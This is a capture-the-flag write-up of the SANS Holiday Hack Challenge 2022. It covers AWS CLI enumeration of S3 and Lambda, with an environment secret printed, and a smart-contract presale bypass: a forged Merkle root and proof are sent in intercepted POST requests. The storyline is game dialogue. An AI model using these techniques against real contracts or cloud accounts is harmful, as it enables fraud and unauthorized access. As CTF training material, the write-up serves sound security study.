elf@80c2de61d99b:~$ aws s3api list-objects --bucket smogmachines3 { "IsTruncated": false, "Marker": "", "Contents": [ { "Key": "coal-fired-power-station.jpg", "LastModified": "2022-09-23 20:40:44+00:00", "ETag": "\"1c70c98bebaf3cff781a8fd3141c2945\"", "Size": 59312, "StorageClass": "STANDARD", "Owner": { "DisplayName": "grinchum", "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60" } }, { "Key": "industry-smog.png", "LastModified": "2022-09-23 20:40:47+00:00", "ETag": "\"c0abe5cb56b7a33d39e17f430755e615\"", "Size": 272528, "StorageClass": "STANDARD", "Owner": { "DisplayName": "grinchum", "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60" } }, { "Key": "pollution-smoke.jpg", "LastModified": "2022-09-23 20:40:43+00:00", "ETag": "\"465b675c70d73027e13ffaec1a38beec\"", "Size": 33064, "StorageClass": "STANDARD", "Owner": { "DisplayName": "grinchum", "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60" } }, { "Key": "pollution.jpg", "LastModified": "2022-09-23 20:40:45+00:00", "ETag": "\"d40d1db228c9a9b544b4c552df712478\"", "Size": 81775, "StorageClass": "STANDARD", "Owner": { "DisplayName": "grinchum", "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60" } }, { "Key": "power-station-smoke.jpg", "LastModified": "2022-09-23 20:40:48+00:00", "ETag": "\"2d7a8c8b8f5786103769e98afacf57de\"", "Size": 45264, "StorageClass": "STANDARD", "Owner": { "DisplayName": "grinchum", "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60" } }, { "Key": "smog-power-station.jpg", "LastModified": "2022-09-23 20:40:46+00:00", "ETag": "\"0e69b8d53d97db0db9f7de8663e9ec09\"", "Size": 32498, "StorageClass": "STANDARD", "Owner": { "DisplayName": "grinchum", "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60" } }, { "Key": "smogmachine_lambda_handler_qyJZcqvKOthRMgVrAJqq.py", "LastModified": "2022-09-26 16:31:33+00:00", "ETag": "\"fd5d6ab630691dfe56a3fc2fcfb68763\"", "Size": 5823, "StorageClass": "STANDARD", "Owner": { "DisplayName": "grinchum", "ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60" } } ], "Name": "smogmachines3", "Prefix": "", "MaxKeys": 1000, "EncodingType": "url" }
The attached user policy provided you several Lambda privileges. Use the AWS CLI to list Lambda functions. The aws lambda command to list functions can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html
elf@80c2de61d99b:~$ aws lambda list-functions { "Functions": [ { "FunctionName": "smogmachine_lambda", "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda", "Runtime": "python3.9", "Role": "arn:aws:iam::602123424321:role/smogmachine_lambda", "Handler": "handler.lambda_handler", "CodeSize": 2126, "Description": "", "Timeout": 600, "MemorySize": 256, "LastModified": "2022-09-07T19:28:23.634+0000", "CodeSha256": "GFnsIZfgFNA1JZP3TgTI0tIavOpDLiYlg7oziWbtRsa=", "Version": "$LATEST", "VpcConfig": { "SubnetIds": [ "subnet-8c80a9cb8b3fa5505" ], "SecurityGroupIds": [ "sg-b51a01f5b4711c95c" ], "VpcId": "vpc-85ea8596648f35e00" }, "Environment": { "Variables": { "LAMBDASECRET": "975ceab170d61c75", "LOCALMNTPOINT": "/mnt/smogmachine_files" } }, "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "7e198c3c-d4ea-48dd-9370-e5238e9ce06e", "FileSystemConfigs": [ { "Arn": "arn:aws:elasticfilesystem:us-east-1:602123424321:access-point/fsap-db3277b03c6e975d2", "LocalMountPath": "/mnt/smogmachine_files" } ], "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 } } ] }
Lambda functions can have public URLs from which they are directly accessible. Use the AWS CLI to get the configuration containing the public URL of the Lambda function. The aws lambda command to get the function URL config can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html
We know from our previous command that the lambda function is named
smogmachine_lambda
.
elf@80c2de61d99b:~$ aws lambda get-function-url-config --function-name smogmachine_lambda { "FunctionUrl": "https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/", "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda", "AuthType": "AWS_IAM", "Cors": { "AllowCredentials": false, "AllowHeaders": [], "AllowMethods": [ "GET", "POST" ], "AllowOrigins": [ "*" ], "ExposeHeaders": [], "MaxAge": 0 }, "CreationTime": "2022-09-07T19:28:23.808713Z", "LastModifiedTime": "2022-09-07T19:28:23.808713Z" }
Great, you did it all - thank you!
This gives us our fourth ring, the Cloud Ring:
Sulfrod says
Ha! Now I have the ring!
This computer stuff sure is easy if you just make someone do it for you.
Wait.. the computer gave you the ring? Gah, whatever.
This never happened, got it? Now beat it, nerd!
We go back our way only to find a distraught Grinchum:
Grinchum says
🥺 Four Preciouses - lost!
😫 Noooo... grinchum..grinchum
😐 ..... naggy human doesn't only want coinses and hatses.
...What... 🤨 has it got...
😠 in its silly, little, badges!?
😧 Stole them... 😠 You STOLE them!
😡 Raaaargh!! We will make sure naggy human never takes our last Precious!
Recover the Burning Ring of Fire
Buy a Hat
Down and down we go, where our mine canary can no longer breathe, until we meet Wombley Cube:
Wombley Cube says
Hey there! I'm Wombley Cube. It's so nice to see a friendly face.
What's an elf doing all the way down here with all these sporcs, you ask?
I'm selling snazzy, fancy-pants hats! You can buy them with Kringlecoin.
The reason I set up shop here is to gather intel on that shady Luigi.
I'm a member of the STINC: Santa's Team of Intelligent Naughty Catchers.
He and his gang are up to no good, I'm sure of it. We've got a real Code Brown here.
Purchase a hat so we look inconspicuous, and I'll clue you in on what we think they're scheming.
Of course, have a look at my inventory!
Oh, and if you haven't noticed, I've slipped hints for defeating these Sporcs around the tunnels!
Keep your eyes open, and you'll find all five of them. Wait, maybe it's six?
An undercover elf among the Sporcs! The hints he talks about are chests lying around the tunnels, but most of them only contain KringleCoins. Luckily for us, we can use those to buy a hat from Wombley.
We click on his hat-vending machine, and settle on this fine gray cowboy hat:
We go to a KTC (KringleCoin Teller Machine) and pre-approve our 10 KringleCoin transaction:
We now go back to the hat-vending machine to claim our hat:
I can now wear my cool hat everywhere:
Blockchain Divination
Wombley Cube says
Nice hat! I think Ed Skoudis would say the same. It looks great on you.
So, here's what we've uncovered so far. Keep this confidential, ok?
Earlier, I overheard that disgruntled customer in the office saying he wanted in on the "rug pull".
If our suspicions are correct, that's why the sporcs want an invite to the presale so badly.
Once the "Bored Sporc Rowboat Society" NFTs officially go on sale, the sporcs will upsell them.
After most of the NFTs are purchased by unwitting victims, the Sporcs are going to take the money and abandon the project.
Mission #1 is to find a way to get on that presale list to confirm our suspicions and thwart their dastardly scheme!
We also think there's a Ring hidden there, so drop Mission #2 on them and rescue that ring!
Thank you for your business, dear customer!
The Sporcs are running an NFT scam, schocking. Anyway, we're asked to find the address of the KringleCoin smart contract on the blockchain.
The Blockchain Explorer can be used to analyze the different blocks of the blockchain. For example, we can look at block #76303, which is the block with my transaction to buy a hat:
Let's look at the first block on the blockchain:
The address of the KringleCoin contract is 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554
.
Exploit a Smart Contract
Here's the big one, we must now find a way to get on the presale list by exploiting a vulnerability in the Bored Sporc Rowboat Society smart contract.
By taking a look at the BSRC website, we learn more about the pre-sale list:
We are currently in "pre-sale" mode, which means that the only folks who can buy are our best buds who made it on the list (well, actually, the Merkle Tree).
So the pre-sale list is stored in the form of a Merkle tree. Now I don't know squat about smart contracts or Merkle tree. Luckily for us, Prof. Qwerty Petabyte is back with a KringleCon talk on the subject. There's also a new repository on their Github profile, which should help any Merkle tree shenanigans we'll get into.
I recommend listening to the talk and reading the repository's README as well as the Wikipedia article on Merkle trees to fully understand how they work.
Long story short, people on the BSRS pre-sale list are given proof values that they can send to the web site along with their wallet address. The smart contract will compute the intermediary values until it gets to the root value, and then compare it to the root value it has stored...
...or does it? In Prof. Petabyte's README, we can read:
The only value the NFT producer needs to keep in their blockchain code is the root value itself! Because keeping anything stored on the blockchain is expensive, this is a huge benefit! Of course, the root mustn't be able to be altered, which is why keeping it IN the smart contract on the blockchain is what smart developers do.
Maybe the BSRS creators made a mistake and did not store the root on the blockchain? If we use the Blockchain Explorer, we can see that block #2 contains the contract tied to the BSRS NFT:
We can get the Solidity code of the BSRS NFT contract directly from the Blockchain Explorer. You can download it here.
By looking around, we find the verify
function:
function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns (bool) { bytes32 computedHash = leaf; for (uint i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash == _root; }
It looks like the verify
function takes a _root
parameter. It
sure does seem that the root value is not stored on the blockchain. This can
be confirmed by using the pre-sale form.
This form loads a JavaScript file:
function do_presale(){ if(!guid){ alert("You need to enter this site from the terminal at the North Pole, not directly. If are doing this directly, you risk not getting credit for completing the challenge."); } else { var resp = document.getElementById("response"); var ovr = document.getElementById('overlay'); resp.innerHTML = ""; var cb = document.getElementById("validate").checked; var val = 'false' if(cb){ val = 'true' } else { ovr.style.display = 'block'; in_trans = true; }; var address = document.getElementById("wa").value; var proof = document.getElementById('proof').value; var root = '0x52cfdfdcba8efebabd9ecc2c60e6f482ab30bdc6acf8f9bd0600de83701e15f1'; var xhr = new XMLHttpRequest(); xhr.open('Post', 'cgi-bin/presale', true); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.onreadystatechange = function(){ if(xhr.readyState === 4){ var jsonResponse = JSON.parse(xhr.response); ovr.style.display = 'none'; in_trans = false; resp.innerHTML = jsonResponse.Response; }; }; xhr.send(JSON.stringify({"WalletID": address, "Root": root, "Proof": proof, "Validate": val, "Session": guid})); }; }
They sure messed up. We can now build our own Merkle tree with our wallet address, compute our proof and root values, and pretend we're on the pre-sale list. This is where Prof. Petabyte's repository will come useful.
We clone the repo, create a venv
, and install the requirements:
$ git clone https://github.com/QPetabyte/Merkle_Trees $ python3 -m venv ~/venv/merkle $ source ~/venv/merkle/bin/activate $ pip3 install wheel $ pip3 install -r ./Merkle_Trees/requirements.txt
Now, we can edit the file to put build our Merkle tree with our wallet address.
We just modify the allowlist
variable:
allowlist = ['0x129c7E7e786120E3DCD29D4c2ad0d0001616fad2','0x0000000000000000000000000000000000000000']
Now, let's run the script:
$ python3 merkle_tree.py Root: 0x5fb0f1ec0a42dc34152e3937c295c5e2ad1e105ce5bef576a33d47c3bbe3f42e Proof: ['0x5380c7b7ae81a58eb98d9c78de4a1fd7fd9535fc953ed2be602daaa41767312a']
We can now pretend to be on the pre-sale list. We use the pre-sale verification form, and intercept it using Burp to modify the value of the root parameter:
POST /cgi-bin/presale HTTP/1.1 Host: boredsporcrowboatsociety.com Cookie: GCLB="411e2170d1ac26e8" User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: */* Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 277 Origin: https://boredsporcrowboatsociety.com Referer: https://boredsporcrowboatsociety.com/presale.html?&challenge=bsrs&username=useless&id=0a6556c7-ff84-410c-b1db-59fb1bec0928&area=level5&location=14,15&tokens= Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers {"WalletID":"0x129c7E7e786120E3DCD29D4c2ad0d0001616fad2","Root":"0x5fb0f1ec0a42dc34152e3937c295c5e2ad1e105ce5bef576a33d47c3bbe3f42e","Proof":"0x5380c7b7ae81a58eb98d9c78de4a1fd7fd9535fc953ed2be602daaa41767312a","Validate":"true","Session":"0a6556c7-ff84-410c-b1db-59fb1bec0928"}
HTTP/1.1 200 OK Server: nginx/1.23.2 Date: Tue, 20 Dec 2022 15:29:41 GMT Content-Type: application/json Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 {"Response": "You're on the list and good to go! Now... BUY A SPORC!"}
Nice! The contract believes we're on the list. Now we can buy a Sporc NFT by sending 100 KC to the SBRS creators' wallet:
Now that we sent 100 KC, let's get our BSRS NFT using the previous form:
POST /cgi-bin/presale HTTP/1.1 Host: boredsporcrowboatsociety.com Cookie: GCLB="411e2170d1ac26e8" User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: */* Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 278 Origin: https://boredsporcrowboatsociety.com Referer: https://boredsporcrowboatsociety.com/presale.html?&challenge=bsrs&username=useless&id=0a6556c7-ff84-410c-b1db-59fb1bec0928&area=level5&location=14,15&tokens= Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers {"WalletID":"0x129c7E7e786120E3DCD29D4c2ad0d0001616fad2","Root":"0x5fb0f1ec0a42dc34152e3937c295c5e2ad1e105ce5bef576a33d47c3bbe3f42e","Proof":"0x5380c7b7ae81a58eb98d9c78de4a1fd7fd9535fc953ed2be602daaa41767312a","Validate":"false","Session":"0a6556c7-ff84-410c-b1db-59fb1bec0928"}
HTTP/1.1 200 OK Server: nginx/1.23.2 Date: Tue, 20 Dec 2022 15:34:11 GMT Content-Type: application/json Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 {"Response": "Success! You are now the proud owner of BSRS Token #000272. You can find more information at https://boredsporcrowboatsociety.com/TOKENS/BSRS272, or check it out in the gallery!<br>Transaction: 0xe1351d421455dd4ebb5712194c8f14e0b2c6e1680f2b7f770eb553393d202c89, Block: 76995<br><br>Remember: Just like we planned, tell everyone you know to <u><em>BUY A BoredSporc</em></u>.<br>When general sales start, and the humans start buying them up, the prices will skyrocket, and we all sell at once!<br><br>The market will tank, but we'll all be rich!!!"}
Hurray, I now have the BSRS NFT #272. Here's how it looks like:
It's... yeah. Anyway, NFTs and cryptocoins are scams, the only thing we are interested in is finding our rings.
And here it is, our fifth and final ring, the Burning Ring of Fire:
Wombley Cube says
You've done your duty, agent.
Excellent work, especially on Mission #2! I'll log this entry back at STINC HQ.
Keep doing work like this, and you'll be sitting on the STINC throne, leading the agency someday.
Nobody will know of the job you did here today, but the STINC thanks you.
I'm just being dramatic, everyone's gonna know how awesome you are!
We can see Grinchum, but he looks... conflicted:
Grinchum says
😠 We wants them... we needs them... Must.. have.. the Preciouses.
They stole them from us, sneaky little humanses.
🙂 No, not the humanses, they're my friends.
😏 You don't have any friends. NOBODY likes YOU. You're a liar, and a thief, and a.... grriiiiiiinch.
😢 Go away... we don't need you anymore. The humanses protect us now.
😠 Go away? I protected us. The preciouses are safe because of ME!
🙂 Leave now, and never.. come back. 😃 Leave now, and never.. come back!
😁 LEAVE NOW, AND NEVER.. COME BACK!😬
Friendly human, please go to jolly human's castle! Go on, we will meet you there!
Conclusion
With the five golden rings safely recovered, we can finally enter Santa's castle:
Santa says
Congratulations! You have foiled Grinchum's foul plan and recovered the Golden Rings!
And by the magic of the rings, Grinchum has been restored back to his true, merry self: Smilegol!
You see, all Flobbits are drawn to the Rings, but somehow, Smilegol was able to snatch them from my castle.
To anyone but me, their allure becomes irresistable the more Rings someone possesses.
That allure eventually tarnishes the holder's Holiday Spirit, which is about giving, not possesing.
That's exactly what happened to Smilegol; that selfishness morphed him into Grinchum.
But thanks to you, Grinchum is no more, and the holiday season is saved!
Ho ho ho, happy holidays!
Next to Santa, we can see our new Flobbit friend, Smilegol:
Smilegol says
I must give you my most thankful of thanks, and most sorry of sorries.
I'm not sure what happened, but I just couldn't resist the Rings' call.
But once you returned the Rings to Santa, I was no longer so spellbound.
I could think clearly again, so I shouted off that awful persona.
And that grouchy Grinchum was gone for good. Now, I can be me again, just in time for gift giving.
This is a lesson I won't soon forget, and I certainly won't forget you.
I wish you smooth sailing on wherever your next voyage takes you!
Oh dear Flobbits, I don't know half of as well as I should like, and I like less than half of you half as well as you deserve.
Once again, thanks to the SANS team for this amazing Christmas Challenge! Exploiting the CI/CD vulnerability is a great exercise for real world engagement.
See you next year!